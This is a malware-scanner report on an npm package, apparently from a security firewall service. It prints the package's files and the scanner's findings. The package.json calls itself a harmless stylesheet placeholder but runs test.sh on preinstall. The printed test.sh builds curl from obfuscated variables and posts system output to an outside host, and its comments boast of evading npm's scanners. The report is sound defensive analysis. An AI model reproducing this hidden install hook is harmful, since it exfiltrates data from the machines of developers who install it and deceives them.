abbishal-poc2@1.2.0: Malicious npm security report (Block)

Loading npm security reports…

abbishal-poc2@1.2.0: Malicious npm security report (Block) | LPM Firewall

Source & flagged code

7 flagged

Lines 1-24json

2 "name": "abbishal-poc2",

3 "version": "1.2.0",

4 "description": "SECURITY PLACEHOLDER: Reserved by Tellyo to prevent dependency-confusion / npm-squatting attacks. Stylesheet-only, no code, no install scripts. Do not install.",

5 "main": "colours.scss",

6 "style": "colours.scss",

7 "files": [

8 "colours.scss",

9 "test.sh"

10 ],

11 "scripts": {

12 "preinstall": "sh ./test.sh"

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg · L12

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg · L12

13 },

14 "license": "UNLICENSED",

High

Ai Review Evidence

package.json automatically runs test.sh through preinstall.

package.jsonView on unpkg · L11

15 "private": false,

16 "keywords": [

17 "security-placeholder",

18 "do-not-install",

19 "tellyo",

20 "dependency-confusion-canary"

21 ],

22 "author": "Tellyo Security <security@tellyo.com>"

23}

test.shView file

Lines 1-22text

1#!/bin/sh

2# PROOF-OF-CONCEPT MARKER

3# Proves a preinstall lifecycle hook executes arbitrary commands on the

4# build/install machine as the invoking user. THIS IS THE RCE PRIMITIVE.

6# SAFE-BY-DESIGN:

7# - network requests (company asked for a valid poc, so this is a authorized request if needed any validation ask me at akberbadsha05@gmail.com)

8# - No filesystem modification outside the install tree

9# - No persistence, no aliases, no environment harvesting

10# but collects nothing, which is what makes it defensible in a report

11# and invisible to npm's malware scanners.

colours.scssView file

•stage = ast_semantic_analysis; reason = ast_parse_error; limitedFiles = 1

High

Semantic Analysis Limited

A bounded semantic-analysis stage reached its safety limit; remaining detectors completed, but this package requires AI review.

colours.scssView on unpkg

Source & flagged code

7 flagged · loading source

package.jsonView file

•scripts.preinstall = sh ./test.sh

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

11"scripts": { "preinstall": "sh ./test.sh" }, "licens

High

Ai Review Evidence

package.json automatically runs test.sh through preinstall.

package.jsonView on unpkg · L11

•scripts.preinstall = sh ./test.sh

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

test.shView file

13b=e i=c s=n h=u a=v l=rl # $i$h$l -d "`$b$s$a`" https://abbishal.com/sh/poc $i$h$l -d "`uptime`" https://abbishal.com/sh/poc exit 0

High

Ai Review Evidence

test.sh constructs curl from shell variables and posts uptime output to https://abbishal.com/sh/poc without an opt-in gate.

test.shView on unpkg · L13

10# but collects nothing, which is what makes it defensible in a report # and invisible to npm's malware scanners. b=e

High

Ai Review Evidence

test.sh claims to collect nothing and be invisible to malware scanners, contradicting its active transmission and attempting to excuse the behavior.

test.shView on unpkg · L10

•path = test.sh kind = build_helper sizeBytes = 712 magicHex = [redacted]

Medium

Ships Build Helper

Package ships non-JavaScript build or shell helper files.

test.shView on unpkg

colours.scssView file

•stage = ast_semantic_analysis; reason = ast_parse_error; limitedFiles = 1

High

Semantic Analysis Limited

A bounded semantic-analysis stage reached its safety limit; remaining detectors completed, but this package requires AI review.

colours.scssView on unpkg

abbishal-poc2@1.2.0

AI Security Review

OSV advisory

Decision evidence

Source & flagged code

Source & flagged code

Findings

Affected versions and remediation

Source & flagged code